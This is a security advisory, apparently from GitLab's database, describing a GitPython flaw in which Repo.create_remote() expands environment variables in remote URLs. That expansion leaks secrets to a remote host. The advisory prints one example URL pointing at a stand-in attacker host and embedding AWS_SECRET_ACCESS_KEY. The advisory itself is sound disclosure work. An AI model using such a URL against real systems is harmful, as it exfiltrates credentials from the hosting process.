GHSA-94p4-4cq8-9g67: GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)
(updated )
The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process’s environment secret, written into .git/config, and then transmitted to the attacker’s host on the next fetch/pull. This is the same primitive and same “import repository from URL” threat model the advisory describes, via the sibling caller the fix missed.
References
- github.com/advisories/GHSA-94p4-4cq8-9g67
- github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162
- github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2
- github.com/gitpython-developers/GitPython/releases/tag/3.1.55
- github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67
- github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3951.yaml
- www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-remote-add
Code Behaviors & Features
Detect and mitigate GHSA-94p4-4cq8-9g67 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →